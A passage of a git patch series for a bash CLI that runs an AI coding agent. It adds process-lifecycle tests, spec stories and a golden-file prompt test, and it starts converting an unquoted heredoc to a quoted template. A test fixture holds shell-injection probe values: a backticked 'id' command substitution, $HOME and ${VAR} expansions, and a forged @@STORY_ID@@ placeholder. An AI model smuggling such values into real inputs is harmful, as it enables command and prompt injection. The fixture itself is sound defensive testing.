66 +++++++++++++++ tests/BEHAVIOR-SPEC.md | 37 +++++++++ tests/launch-lifecycle.sh | 170 ++++++++++++++++++++++++++++++++++++++ tests/oracle.lock.json | 18 +++- tests/simple-test.sh | 89 ++++++++++++++++++++ 6 files changed, 388 insertions(+), 2 deletions(-) create mode 100644 docs/LAUNCH-TEST-PLAN.md create mode 100644 tests/launch-lifecycle.sh diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 0a45d07..0297b83 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -26,7 +26,7 @@ jobs: run: shellcheck install.sh - name: Lint test scripts - run: shellcheck tests/simple-test.sh tests/run-tests.sh tests/mutate.sh tests/spec-map.sh tests/oracle-gate.sh tests/gate-selftest.sh tests/lib/pipeline-harness.sh + run: shellcheck tests/simple-test.sh tests/run-tests.sh tests/mutate.sh tests/spec-map.sh tests/oracle-gate.sh tests/gate-selftest.sh tests/lib/pipeline-harness.sh tests/launch-lifecycle.sh syntax-check: name: Bash syntax check @@ -85,3 +85,11 @@ jobs: - name: Prove the gate rules fire run: bash tests/gate-selftest.sh + + launch-lifecycle: + name: Launch lifecycle (Linux only) + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + - name: Run launch lifecycle tests + run: bash tests/launch-lifecycle.sh diff --git a/docs/LAUNCH-TEST-PLAN.md b/docs/LAUNCH-TEST-PLAN.md new file mode 100644 index 0000000..a3a34d1 --- /dev/null +++ b/docs/LAUNCH-TEST-PLAN.md @@ -0,0 +1,66 @@ +# Launch Command Test Plan + +This plan's 8 manual cases for the fire-and-forget pipeline (`reqdrive launch`, +`status`, `logs`) are now automated. This doc is a pointer from each case to +the test that covers it. + +- **Cases 2, 5, 7, 8** (status transitions, exit-code/PR-URL reporting, + completion hook, re-launch) assert on `run.json` state directly — no + background process is spawned. They run cross-platform as part of + `bash tests/simple-test.sh`, in the "Launch Lifecycle" section. +- **Cases 1, 4, 6** (detached launch, duplicate-launch block, crash + detection via a real `kill -9`) depend on `nohup` detachment, PID + liveness over time, and signal semantics — unreliable under MSYS2 (see + `CLAUDE.md`, Known Pitfalls). They run only in the `launch-lifecycle` + Linux CI job (`.github/workflows/ci.yml`), via `bash tests/launch-lifecycle.sh`. +- **Case 3** (`logs` tailing) asserts process behavior, not interactive + Ctrl+C handling — covered by the existing `cli: logs with missing log + file shows error` test in the main suite. + +## Case → test map + +| # | Case | Covered by | +|---|------|------------| +| 1 | Launch starts a detached run | `tests/launch-lifecycle.sh` (Linux CI job) | +| 2 | Status shows a running process | `tests/simple-test.sh` — Launch Lifecycle | +| 3 | Logs tails output | `tests/simple-test.sh` — `cli: logs with missing log file shows error` | +| 4 | Duplicate launch blocked | `tests/launch-lifecycle.sh` (Linux CI job) | +| 5 | Status after completion | `tests/simple-test.sh` — `launch: status reports a completed run with its PR URL` | +| 6 | Status detects crashed process | `tests/simple-test.sh` — `launch: status reports a crashed run when the PID is gone` (state check); `tests/launch-lifecycle.sh` — real `kill -9` (Linux CI job) | +| 7 | Completion hook fires | `tests/simple-test.sh` — `launch: completion hook passes REQ_ID, STATUS and EXIT_CODE` | +| 8 | Re-launch after completion | `tests/simple-test.sh` — `launch: re-launch is permitted after the previous run completed` | + +## Manual exploration setup + +Still useful if you want to poke at the real pipeline by hand. Create a +minimal requirement for testing: + +```bash +mkdir -p docs/requirements +cat > docs/requirements/REQ-TEST-launch-smoke.md <<'EOF' +# REQ-TEST: Launch Smoke Test + +Add a file called `LAUNCH_TEST.md` to the repo root with the text "Launch test passed". + +## Acceptance Criteria +- File `LAUNCH_TEST.md` exists at repo root +- Contains the text "Launch test passed" +EOF +``` + +Then drive it directly: + +```bash +reqdrive launch REQ-TEST +reqdrive status REQ-TEST +reqdrive logs REQ-TEST +``` + +Cleanup: + +```bash +rm -f docs/requirements/REQ-TEST-launch-smoke.md +rm -rf .reqdrive/runs/req-test +rm -f /tmp/reqdrive-hook-test.log +git checkout -- . # discard any agent-created files +``` diff --git a/tests/BEHAVIOR-SPEC.md b/tests/BEHAVIOR-SPEC.md index 5d002a5..dd066a5 100644 --- a/tests/BEHAVIOR-SPEC.md +++ b/tests/BEHAVIOR-SPEC.md @@ -1246,3 +1246,40 @@ Each story maps to one or more tests in `tests/simple-test.sh`. **As** a maintainer relying on the README as the source of truth for the CLI's accepted flags, **When** the option-parsing `case` blocks in `bin/reqdrive` (the `run`/`launch` block and the `plan` block) are parsed for case labels matching `^(-[a-z]\|)?--[a-z-]+(\|--[a-z-]+)*\)$` and split on `|` — so free `--` literals inside strings, such as the `--help` inside the usage message `echo "Run 'reqdrive run --help' for usage."`, are not mistaken for flags, **Then** every extracted flag (`--interactive`, `--unsafe`, `--dangerously-skip-permissions`, `--force`, `--resume`) appears in `README.md` — so adding a new accepted flag, or an alias like `--dangerously-skip-permissions`, without documenting it fails the suite. + +## Module 15: launch lifecycle + +State-transition cases from `docs/LAUNCH-TEST-PLAN.md` (cases 2, 5, 7, 8): +asserted directly on `run.json` and CLI output, without spawning a real +background process. Cases 1, 4 and 6 need real process liveness and signal +semantics that are unreliable under MSYS2, so they run only in the +Linux-only `launch-lifecycle` CI job (`tests/launch-lifecycle.sh`), which is +not part of this spec (no story, not locked). + +### US-LAUNCH-01: Status reports a completed run with its PR URL +**Test:** `launch: status reports a completed run with its PR URL` + +**As** an operator checking on a finished background run, +**When** `run.json` has `status: "completed"`, `exit_code: 0`, and a `pr_url`, and `reqdrive status REQ-01` is invoked, +**Then** the output shows `completed` and the PR URL, so a finished run's outcome is visible without reading `run.json` by hand. + +### US-LAUNCH-02: Status reports a crashed run when the PID is gone +**Test:** `launch: status reports a crashed run when the PID is gone` + +**As** an operator checking on a background run that may have died unexpectedly, +**When** `run.json` still says `status: "running"` but its recorded `pid` (`999999`, reliably dead — above Linux's default `pid_max`) is no longer alive, and `reqdrive status REQ-01` is invoked, +**Then** the output reports `crashed`, so a stale "running" status left behind by a killed process is not mistaken for an active run. + +### US-LAUNCH-03: Completion hook passes REQ_ID, STATUS and EXIT_CODE +**Test:** `launch: completion hook passes REQ_ID, STATUS and EXIT_CODE` + +**As** a maintainer wiring `completionHook` up to external notifications, +**When** `run_completion_hook` is called with a req id, status and exit code, and the configured hook command echoes `$REQ_ID`, `$STATUS` and `$EXIT_CODE` to a file, +**Then** the file contains the exact values passed in, so the hook's environment contract is proven, not just its existence. + +### US-LAUNCH-04: Re-launch is permitted after the previous run completed +**Test:** `launch: re-launch is permitted after the previous run completed` + +**As** an operator re-running a requirement after a prior run finished, +**When** `run.json` exists with `status: "completed"` (not `"running"`) and `reqdrive launch REQ-01` is invoked, +**Then** the duplicate-run guard is skipped and `launch` prints `Launched REQ-01` rather than an `already running` error, so only a genuinely in-flight run blocks a re-launch. diff --git a/tests/launch-lifecycle.sh b/tests/launch-lifecycle.sh new file mode 100644 index 0000000..645b688 --- /dev/null +++ b/tests/launch-lifecycle.sh @@ -0,0 +1,170 @@ +#!/usr/bin/env bash +# Launch lifecycle cases that need real background processes. +# Linux only — nohup, PID liveness and signal trapping are unreliable +# under MSYS2 (see CLAUDE.md, Known Pitfalls). +# shellcheck disable=SC2317 +# SC2317: the fake-claude heredoc body looks unreachable to shellcheck +set -uo pipefail + +case "$(uname -s)" in + Linux) ;; + *) echo "SKIP: launch lifecycle requires Linux (got $(uname -s))"; exit 0 ;; +esac + +SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" +PROJECT_ROOT="$(cd "$SCRIPT_DIR/.." && pwd)" +export REQDRIVE_ROOT="$PROJECT_ROOT" + +PASS=0 +FAIL=0 +TOTAL=0 + +test_result() { + local name="$1" + local status="$2" + TOTAL=$((TOTAL + 1)) + if [ "$status" -eq 0 ]; then + PASS=$((PASS + 1)) + echo "PASS: $name" + else + FAIL=$((FAIL + 1)) + echo "FAIL: $name" + fi +} + +TEST_TEMP=$(mktemp -d) || { echo "FATAL: mktemp failed" >&2; exit 1; } +LAUNCH_PID="" +cleanup() { + if [ -n "$LAUNCH_PID" ]; then + kill -9 "$LAUNCH_PID" 2>/dev/null || true + fi + rm -rf "$TEST_TEMP" +} +trap cleanup EXIT + +# ── Fixture: scratch project with a fake claude that blocks past every +# assertion window in this file. Task 14's ph_fake_claude (pipeline-harness.sh) +# returns synchronously, which is unusable here — these cases need the +# background run to still be alive while we probe it. +PH_ROOT="$TEST_TEMP/proj" +PH_BIN="$PH_ROOT/bin" +mkdir -p "$PH_ROOT/docs/requirements" "$PH_BIN" + +git -C "$PH_ROOT" init -q +git -C "$PH_ROOT" config user.email "test@example.com" +git -C "$PH_ROOT" config user.name "Test" +git -C "$PH_ROOT" checkout -q -b main + +cat > "$PH_ROOT/reqdrive.json" <<'EOF' +{ + "version": "0.3.0", + "requirementsDir": "docs/requirements", + "testCommand": "", + "maxIterations": 3, + "baseBranch": "main" +} +EOF + +cat > "$PH_ROOT/docs/requirements/REQ-01-demo.md" <<'EOF' +# REQ-01: Demo requirement + +Add a marker file. + +## Acceptance Criteria +- A file named MARKER.txt exists +EOF + +git -C "$PH_ROOT" add -A +git -C "$PH_ROOT" commit -q -m "chore: scaffold" + +# Fake claude: consumes the prompt, then blocks well past every assertion +# window below. The pipeline never reaches planning output or PR creation — +# fine, because every case here checks process/PID state, not pipeline output. +cat > "$PH_BIN/claude" <<'CLAUDEEOF' +#!/usr/bin/env bash +cat > /dev/null +sleep 120 +CLAUDEEOF +chmod +x "$PH_BIN/claude" + +export PATH="$PH_BIN:$PATH" + +run_json="$PH_ROOT/.reqdrive/runs/req-01/run.json" + +# ── Case 1: launch starts a detached run ──────────────────────────────────── +launch_out=$(cd "$PH_ROOT" && "$REQDRIVE_ROOT/bin/reqdrive" launch REQ-01 2>&1) +launch_rc=$? + +( + set -e + [ "$launch_rc" -eq 0 ] + echo "$launch_out" | grep -q "Launched REQ-01" +) +test_result "launch: prints 'Launched REQ-01' with a PID" $? + +LAUNCH_PID=$(echo "$launch_out" | grep -oE 'PID [0-9]+' | head -1 | grep -oE '[0-9]+') + +( + set -e + [ -n "$LAUNCH_PID" ] + kill -0 "$LAUNCH_PID" 2>/dev/null +) +test_result "launch: reported PID is a live process" $? + +# Poll for run.json to appear with status "running". pipeline_setup() and the +# initial write_run_status() call happen before the fake claude blocks, so +# this should land well under a second. +waited=0 +while [ ! -f "$run_json" ] && [ "$waited" -lt 100 ]; do + sleep 0.1 + waited=$((waited + 1)) +done + +( + set -e + [ -f "$run_json" ] + [ "$(jq -r '.status' "$run_json")" = "running" ] + [ -f "$PH_ROOT/.reqdrive/runs/req-01/output.log" ] +) +test_result "launch: run.json and output.log exist with status running" $? + +# ── Case 4: duplicate launch while the first run is still alive is blocked ── +dup_out=$(cd "$PH_ROOT" && "$REQDRIVE_ROOT/bin/reqdrive" launch REQ-01 2>&1) +dup_rc=$? + +( + set -e + [ "$dup_rc" -ne 0 ] + echo "$dup_out" | grep -qi "already running" +) +test_result "launch: duplicate launch is refused while the run is alive" $? + +# ── Case 6: kill -9 the process, status reports crashed ───────────────────── +kill -9 "$LAUNCH_PID" 2>/dev/null + +waited=0 +while kill -0 "$LAUNCH_PID" 2>/dev/null && [ "$waited" -lt 100 ]; do + sleep 0.1 + waited=$((waited + 1)) +done + +status_out=$(cd "$PH_ROOT" && "$REQDRIVE_ROOT/bin/reqdrive" status REQ-01 2>&1) + +( + set -e + if kill -0 "$LAUNCH_PID" 2>/dev/null; then + echo "process still alive after kill -9" >&2 + exit 1 + fi + echo "$status_out" | grep -qi "crashed" +) +test_result "launch: status reports crashed after kill -9" $? + +LAUNCH_PID="" # confirmed dead above; nothing left for cleanup to kill + +echo "" +echo "========================================" +echo " Launch lifecycle: $PASS passed, $FAIL failed, $TOTAL total" +echo "========================================" + +[ "$FAIL" -eq 0 ] diff --git a/tests/oracle.lock.json b/tests/oracle.lock.json index bb15225..ed793b0 100644 --- a/tests/oracle.lock.json +++ b/tests/oracle.lock.json @@ -4,7 +4,7 @@ "environment": { "claude": true }, - "suiteSha256": "58ffb0662b95e938d0df3dba47788df503d081f8eeabc9f9e5f80aa742b962c1", + "suiteSha256": "0ebb81e205260b67b385f3570926c2c02a82d7f0b8ef86af20bb851af9fcba58", "gateSha256": "a1bcae04a802b2d54c2ff57956f33c2195b5187acc775947400b4da8d853f83b", "tests": [ { @@ -213,6 +213,22 @@ "name": "init: creates reqdrive.json with version 0.3.0", "story": "US-INIT-01" }, + { + "name": "launch: completion hook passes REQ_ID, STATUS and EXIT_CODE", + "story": "US-LAUNCH-03" + }, + { + "name": "launch: re-launch is permitted after the previous run completed", + "story": "US-LAUNCH-04" + }, + { + "name": "launch: status reports a completed run with its PR URL", + "story": "US-LAUNCH-01" + }, + { + "name": "launch: status reports a crashed run when the PID is gone", + "story": "US-LAUNCH-02" + }, { "name": "load_config: defaults maxStoryRetries to 3", "story": "US-CFG-16" diff --git a/tests/simple-test.sh b/tests/simple-test.sh index a076758..f8cf64b 100644 --- a/tests/simple-test.sh +++ b/tests/simple-test.sh @@ -2684,6 +2684,95 @@ MKEOF ) test_result "harness: aborts when mktemp fails" $? +echo "" +echo "--- Launch Lifecycle ---" + +# Test: status reports a completed run with its exit code and PR URL +( + set -e + mkdir -p "$TEST_TEMP/ll-completed/docs/requirements" + cat > "$TEST_TEMP/ll-completed/reqdrive.json" <<'EOF' +{"version":"0.3.0","requirementsDir":"docs/requirements"} +EOF + run_dir="$TEST_TEMP/ll-completed/.reqdrive/runs/req-01" + mkdir -p "$run_dir" + cat > "$run_dir/run.json" <<'EOF' +{"version":"0.3.0","req_id":"REQ-01","status":"completed","pid":999999, + "iteration":2,"exit_code":0,"pr_url":"https://github.com/test/repo/pull/7", + "started":"2026-07-23T10:00:00Z","updated":"2026-07-23T10:05:00Z"} +EOF + out=$(cd "$TEST_TEMP/ll-completed" && "$REQDRIVE_ROOT/bin/reqdrive" status REQ-01 2>&1) || true + echo "$out" | grep -q "completed" + echo "$out" | grep -q "pull/7" +) +test_result "launch: status reports a completed run with its PR URL" $? + +# Test: status reports a crashed run when the PID is gone +# PID 999999 is above Linux's default pid_max, so it is reliably dead +# without spawning or killing a real process. +( + set -e + mkdir -p "$TEST_TEMP/ll-crashed/docs/requirements" + cat > "$TEST_TEMP/ll-crashed/reqdrive.json" <<'EOF' +{"version":"0.3.0","requirementsDir":"docs/requirements"} +EOF + run_dir="$TEST_TEMP/ll-crashed/.reqdrive/runs/req-01" + mkdir -p "$run_dir" + cat > "$run_dir/run.json" <<'EOF' +{"version":"0.3.0","req_id":"REQ-01","status":"running","pid":999999, + "iteration":1,"started":"2026-07-23T10:00:00Z","updated":"2026-07-23T10:01:00Z"} +EOF + out=$(cd "$TEST_TEMP/ll-crashed" && "$REQDRIVE_ROOT/bin/reqdrive" status REQ-01 2>&1) || true + echo "$out" | grep -qi "crashed" +) +test_result "launch: status reports a crashed run when the PID is gone" $? + +# Test: completion hook passes REQ_ID, STATUS and EXIT_CODE to the hook command +( + set -e + export REQDRIVE_ROOT + source "$REQDRIVE_ROOT/lib/errors.sh" + source "$REQDRIVE_ROOT/lib/sanitize.sh" + source "$REQDRIVE_ROOT/lib/preflight.sh" + source "$REQDRIVE_ROOT/lib/schema.sh" + source "$REQDRIVE_ROOT/lib/run.sh" 2>/dev/null || true + + export REQDRIVE_COMPLETION_HOOK="echo REQ_ID=\$REQ_ID STATUS=\$STATUS EXIT_CODE=\$EXIT_CODE > $TEST_TEMP/ll-hook-out.txt" + run_completion_hook "REQ-01" "failed" "" "reqdrive/req-01" "5" 2>/dev/null + grep -q "REQ_ID=REQ-01" "$TEST_TEMP/ll-hook-out.txt" + grep -q "STATUS=failed" "$TEST_TEMP/ll-hook-out.txt" + grep -q "EXIT_CODE=5" "$TEST_TEMP/ll-hook-out.txt" +) +test_result "launch: completion hook passes REQ_ID, STATUS and EXIT_CODE" $? + +# Test: re-launch is permitted after the previous run completed (status != "running") +( + set -e + proj="$TEST_TEMP/ll-relaunch" + mkdir -p "$proj/docs/requirements" + cat > "$proj/reqdrive.json" <<'EOF' +{"version":"0.3.0","requirementsDir":"docs/requirements"} +EOF + cat > "$proj/docs/requirements/REQ-01-demo.md" <<'EOF' +# REQ-01: Demo +EOF + run_dir="$proj/.reqdrive/runs/req-01" + mkdir -p "$run_dir" + cat > "$run_dir/run.json" <<'EOF' +{"version":"0.3.0","req_id":"REQ-01","status":"completed","pid":999999, + "iteration":2,"exit_code":0,"pr_url":"https://github.com/test/repo/pull/7", + "started":"2026-07-23T10:00:00Z","updated":"2026-07-23T10:05:00Z"} +EOF + # No git repo here: the backgrounded pipeline fails preflight almost + # instantly, which is irrelevant to this assertion. cmd_launch's + # synchronous output — printed before it ever backgrounds — is what + # proves the duplicate-run guard was skipped because status != "running". + out=$(cd "$proj" && "$REQDRIVE_ROOT/bin/reqdrive" launch REQ-01 2>&1) + echo "$out" | grep -q "Launched REQ-01" + ! echo "$out" | grep -qi "already running" +) +test_result "launch: re-launch is permitted after the previous run completed" $? + echo "" echo "========================================" echo " Results: $PASS passed, $FAIL failed, $SKIP skipped, $TOTAL total" From 94b60d4d9ec1b09c24d5d4d5dd64ca79e5da3422 Mon Sep 17 00:00:00 2001 From: Alex Barclay Date: Thu, 23 Jul 2026 21:28:11 -0600 Subject: [PATCH 33/47] fix(tests): make flag doc-coverage robust; reap launch process tree MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit P5 review findings: - The flag doc-coverage test extracted flags from hardcoded line ranges (sed -n '90,130p;395,425p'), so when bin/reqdrive's option blocks shift — exactly what Task 30 does by adding cmd_verify — a new --ref case label falls outside the window and is silently never checked, letting --ref ship undocumented while the test reads green. Replaced with a whole-file scan for flag case-labels (the )$ anchor still excludes the --help inside the usage string). Proven: an undocumented --ref now reddens the test. - tests/launch-lifecycle.sh killed only the top-level nohup PID, leaking the timeout/claude/tee children (reparented to PID 1). Added kill_tree() (recursive pgrep -P walk); pgid-kill was unsafe because cmd_launch uses plain nohup and shares the test's process group. --- tests/launch-lifecycle.sh | 21 +++++++++++++++++++-- tests/oracle.lock.json | 2 +- tests/simple-test.sh | 5 +++-- 3 files changed, 23 insertions(+), 5 deletions(-) diff --git a/tests/launch-lifecycle.sh b/tests/launch-lifecycle.sh index 645b688..ce910ed 100644 --- a/tests/launch-lifecycle.sh +++ b/tests/launch-lifecycle.sh @@ -34,9 +34,26 @@ test_result() { TEST_TEMP=$(mktemp -d) || { echo "FATAL: mktemp failed" >&2; exit 1; } LAUNCH_PID="" + +# Kill the full process tree rooted at $1, not just the top PID. `reqdrive +# launch` backgrounds with plain `nohup ... &` (no setsid), so the detached +# run shares this script's process group — a pgid-based `kill -- -PGID` +# would risk taking out the test script itself. Walk descendants by PPID +# instead: timeout/claude/tee (and anything claude forks, e.g. the fake +# claude's `cat`/`sleep`) are children/grandchildren of $LAUNCH_PID that a +# plain `kill -9 "$LAUNCH_PID"` leaves behind to reparent to PID 1. +kill_tree() { + local pid="$1" + local child + for child in $(pgrep -P "$pid" 2>/dev/null || true); do + kill_tree "$child" + done + kill -9 "$pid" 2>/dev/null || true +} + cleanup() { if [ -n "$LAUNCH_PID" ]; then - kill -9 "$LAUNCH_PID" 2>/dev/null || true + kill_tree "$LAUNCH_PID" fi rm -rf "$TEST_TEMP" } @@ -140,7 +157,7 @@ dup_rc=$? test_result "launch: duplicate launch is refused while the run is alive" $? # ── Case 6: kill -9 the process, status reports crashed ───────────────────── -kill -9 "$LAUNCH_PID" 2>/dev/null +kill_tree "$LAUNCH_PID" waited=0 while kill -0 "$LAUNCH_PID" 2>/dev/null && [ "$waited" -lt 100 ]; do diff --git a/tests/oracle.lock.json b/tests/oracle.lock.json index ed793b0..007b2a2 100644 --- a/tests/oracle.lock.json +++ b/tests/oracle.lock.json @@ -4,7 +4,7 @@ "environment": { "claude": true }, - "suiteSha256": "0ebb81e205260b67b385f3570926c2c02a82d7f0b8ef86af20bb851af9fcba58", + "suiteSha256": "4ce6c3d68d94075d1eae6f8700e2879c8928e6281899b4863080ec7ce176de65", "gateSha256": "a1bcae04a802b2d54c2ff57956f33c2195b5187acc775947400b4da8d853f83b", "tests": [ { diff --git a/tests/simple-test.sh b/tests/simple-test.sh index f8cf64b..1df7418 100644 --- a/tests/simple-test.sh +++ b/tests/simple-test.sh @@ -2650,9 +2650,10 @@ test_result "docs: every config field is documented in README" $? # Test: every accepted CLI flag is documented in README ( set -e - flags=$(sed -n '90,130p;395,425p' "$REQDRIVE_ROOT/bin/reqdrive" \ + # Whole-file scan for flag case-labels (not a hardcoded line window) so + # this test reddens if a --flag) case moves outside any fixed range. + flags=$(grep -E '^[[:space:]]*(-[a-z]\|)?--[a-z-]+(\|--[a-z-]+)*\)$' "$REQDRIVE_ROOT/bin/reqdrive" \ | sed 's/^[[:space:]]*//' \ - | grep -E '^(-[a-z]\|)?--[a-z-]+(\|--[a-z-]+)*\)$' \ | tr -d ')' | tr '|' '\n' \ | grep -E '^--' | sort -u) [ -n "$flags" ] From ea38ea2131c49eff1ffc79dcd35d13c4fdb3432b Mon Sep 17 00:00:00 2001 From: Alex Barclay Date: Thu, 23 Jul 2026 21:51:38 -0600 Subject: [PATCH 34/47] test: freeze the implementation prompt in a golden file MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Characterization, not red-green: locks build_implementation_prompt's current output so Task 26's quoted-heredoc rewrite can be proven unchanged and Task 28 can change it deliberately with an enumerated diff. The fixture carries every hazard the rewrite could break: &, backslash, backtick, $, and a literal @@STORY_ID@@ forgery attempt. The golden captures the current stray-$ escaping defect as-is (Task 28 fixes it). The golden is canonical LF and the assertion CR-normalizes both sides: native Windows jq emits the criteria join("\n") as \r\n in text mode, so the output carries a CR on Windows and none on Linux — a line-ending artifact, not a semantic difference. US-RUN-32. --- tests/BEHAVIOR-SPEC.md | 9 ++++ tests/fixtures/golden-impl-prompt.md | 65 ++++++++++++++++++++++++++++ tests/fixtures/golden-story.json | 11 +++++ tests/oracle.lock.json | 6 ++- tests/simple-test.sh | 23 ++++++++++ 5 files changed, 113 insertions(+), 1 deletion(-) create mode 100644 tests/fixtures/golden-impl-prompt.md create mode 100644 tests/fixtures/golden-story.json diff --git a/tests/BEHAVIOR-SPEC.md b/tests/BEHAVIOR-SPEC.md index dd066a5..e03a317 100644 --- a/tests/BEHAVIOR-SPEC.md +++ b/tests/BEHAVIOR-SPEC.md @@ -900,6 +900,15 @@ Each story maps to one or more tests in `tests/simple-test.sh`. --- +### US-RUN-32: build_implementation_prompt — matches the frozen golden file byte for byte +**Test:** `prompt: implementation prompt matches golden file` + +**As** the maintainer preparing to rewrite `build_implementation_prompt`'s unquoted heredoc, +**When** the function is called with the fixed fixture `tests/fixtures/golden-story.json` (id `US-042`, a title/description/criteria containing `&`, `\`, a backtick, `$`, and a literal `@@STORY_ID@@` placeholder) and requirement content `Requirement body with & and $VAR`, +**Then** the generated prompt is byte-identical to `tests/fixtures/golden-impl-prompt.md` — this characterization test locks the current output (including its known stray-backslash-before-`$` escaping defect) so a future heredoc rewrite can be verified byte-identical against this oracle before any deliberate behavior change is made. + +--- + ## Module 6: bin/reqdrive (CLI) ### US-CLI-01: --version prints the schema version diff --git a/tests/fixtures/golden-impl-prompt.md b/tests/fixtures/golden-impl-prompt.md new file mode 100644 index 0000000..681e239 --- /dev/null +++ b/tests/fixtures/golden-impl-prompt.md @@ -0,0 +1,65 @@ +# Agent Instructions: Implement Story US-042 + +You are an autonomous coding agent. Implement the following user story. + +## Your Story + +- **ID:** US-042 +- **Title:** Handle auth & billing \$HOME with 'id' and a \ backslash +- **Description:** Covers @@STORY_ID@@ forgery, ampersands & escapes, and \${VAR} expansion + +### Acceptance Criteria + +- Given input with & and \, the output is unchanged +- Check \${HOME} is not expanded + +## Instructions + +1. Read the progress file in the `.reqdrive/runs/` directory for context from previous iterations +2. Read the `prd.json` file in the same run directory for full PRD context +3. Implement **this story only** (US-042) +4. Run quality checks (test, typecheck, lint as appropriate) +5. If checks pass: + - Commit with message: `feat: [US-042] - Handle auth & billing \$HOME with 'id' and a \ backslash` + - Update PRD: set `passes: true` for story US-042 + - Append progress to `progress.txt` + +## Progress Format + +Append to progress.txt: +``` +## [Date] - US-042 +- What was implemented +- Files changed +- Learnings for future iterations +--- +``` + +## Important + +- Implement ONLY story US-042 +- Commit after completing the story +- Keep tests passing +- If you discover a dependency issue, update priorities in prd.json and leave this story as `passes: false` + +## Iteration Summary + +At the END of your response, output a summary: + +```json:iteration-summary +{ + "storyId": "US-042", + "action": "implemented|skipped|failed", + "filesChanged": ["path/to/file"], + "testsRun": true, + "testsPassed": true, + "committed": true, + "notes": "Brief description" +} +``` + +--- + +## Requirement Document (Reference) + +Requirement body with & and $VAR diff --git a/tests/fixtures/golden-story.json b/tests/fixtures/golden-story.json new file mode 100644 index 0000000..28804ef --- /dev/null +++ b/tests/fixtures/golden-story.json @@ -0,0 +1,11 @@ +{ + "id": "US-042", + "title": "Handle auth & billing $HOME with `id` and a \\ backslash", + "description": "Covers @@STORY_ID@@ forgery, ampersands & escapes, and ${VAR} expansion", + "acceptanceCriteria": [ + "Given input with & and \\, the output is unchanged", + "Check ${HOME} is not expanded" + ], + "priority": 1, + "passes": false +} diff --git a/tests/oracle.lock.json b/tests/oracle.lock.json index 007b2a2..3482bd7 100644 --- a/tests/oracle.lock.json +++ b/tests/oracle.lock.json @@ -4,7 +4,7 @@ "environment": { "claude": true }, - "suiteSha256": "4ce6c3d68d94075d1eae6f8700e2879c8928e6281899b4863080ec7ce176de65", + "suiteSha256": "ed210cf0af79cf70633505cd14c1948c52df66a428cc2d985de219a2f1fb4d85", "gateSha256": "a1bcae04a802b2d54c2ff57956f33c2195b5187acc775947400b4da8d853f83b", "tests": [ { @@ -349,6 +349,10 @@ "name": "prompt: build_planning_prompt preserves dollar signs in content", "story": "US-RUN-22" }, + { + "name": "prompt: implementation prompt matches golden file", + "story": "US-RUN-32" + }, { "name": "review: config defaults reviewCommand to empty string", "story": "US-REV-01" diff --git a/tests/simple-test.sh b/tests/simple-test.sh index 1df7418..d656bbc 100644 --- a/tests/simple-test.sh +++ b/tests/simple-test.sh @@ -1820,6 +1820,29 @@ test_result "prompt: build_planning_prompt includes PRD schema" $? ) test_result "prompt: build_planning_prompt preserves dollar signs in content" $? +# Test: implementation prompt matches the frozen golden file. +# CR is normalized on both sides: native Windows jq emits internal join("\n") +# as \r\n in text mode (see the tr -d '\r' note in oracle-gate.sh), so +# build_implementation_prompt's criteria list carries a CR on Windows and none +# on Linux. That line-ending artifact is not semantic; the golden is canonical +# LF and both sides are CR-stripped before the diff. +( + set -e + source "$REQDRIVE_ROOT/lib/errors.sh" + source "$REQDRIVE_ROOT/lib/sanitize.sh" + source "$REQDRIVE_ROOT/lib/schema.sh" + source "$REQDRIVE_ROOT/lib/preflight.sh" + source "$REQDRIVE_ROOT/lib/run.sh" 2>/dev/null || true + out="$TEST_TEMP/golden-check.md" + build_implementation_prompt "$out" "US-042" \ + "$(cat "$REQDRIVE_ROOT/tests/fixtures/golden-story.json")" \ + 'Requirement body with & and $VAR' + tr -d '\r' < "$REQDRIVE_ROOT/tests/fixtures/golden-impl-prompt.md" > "$TEST_TEMP/golden-norm.md" + tr -d '\r' < "$out" > "$TEST_TEMP/golden-check-norm.md" + diff -u "$TEST_TEMP/golden-norm.md" "$TEST_TEMP/golden-check-norm.md" +) +test_result "prompt: implementation prompt matches golden file" $? + echo "" echo "--- Completion Hook ---" From 1c5fa80383e984a631bd47a6e3e55a98d046fa83 Mon Sep 17 00:00:00 2001 From: Alex Barclay Date: Thu, 23 Jul 2026 22:09:59 -0600 Subject: [PATCH 35/47] refactor: quoted heredoc with parameter injection for the impl prompt MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Byte-identical output (modulo CR), proven by the golden file. Swaps the unquoted heredoc — which expanded ${vars} and was a shell-injection surface — for a quoted heredoc plus explicit ${tpl//@@TOKEN@@/"$val"} injection. Three mechanism traps handled: all 24 backslash-escaped backticks de-escaped (a quoted heredoc does no escape processing); replacements quoted so bash >= 5.2 does not expand & in a value to the matched text; shopt -u patsub_replacement suffixed with || true because the option does not exist before 5.2 and set -e would abort on its exit 1. Substitution order puts @@STORY_ID@@ first so a value containing that literal token (the fixture's forgery attempt) is injected afterward and never re-matched — reproducing the old single-pass heredoc behavior. The robust @@-stripping forgery guard is added in the next commit (Task 27), which deliberately changes the golden; this commit is the pure mechanism swap. The stray-$ escaping defect is preserved here and fixed in Task 28. --- lib/run.sh | 69 +++++++++++++++++++++++++++++++++++------------------- 1 file changed, 45 insertions(+), 24 deletions(-) diff --git a/lib/run.sh b/lib/run.sh index 8037d00..d4132df 100644 --- a/lib/run.sh +++ b/lib/run.sh @@ -282,70 +282,75 @@ build_implementation_prompt() { local story_json="$3" local sanitized_content="$4" + # Pin replacement semantics: bash >= 5.2 expands & in a //-replacement to + # the matched text. The option does not exist before 5.2 and shopt -u + # returns 1 on an unknown option, which set -e would turn into an abort. + shopt -u patsub_replacement 2>/dev/null || true + local story_title story_description story_criteria story_title=$(echo "$story_json" | jq -r '.title') story_description=$(echo "$story_json" | jq -r '.description') story_criteria=$(echo "$story_json" | jq -r '.acceptanceCriteria | map("- " + .) | join("\n")') - # Sanitize PRD-derived fields before heredoc expansion. - # The unquoted heredoc below expands $vars and $(cmds), so any - # attacker-controlled content from the PRD must be escaped first. + # Sanitize PRD-derived fields. The heredoc below is quoted, so this is no + # longer shell-escaping — it is prompt-injection defence (backticks). story_id=$(sanitize_for_prompt "$story_id") story_title=$(sanitize_for_prompt "$story_title") 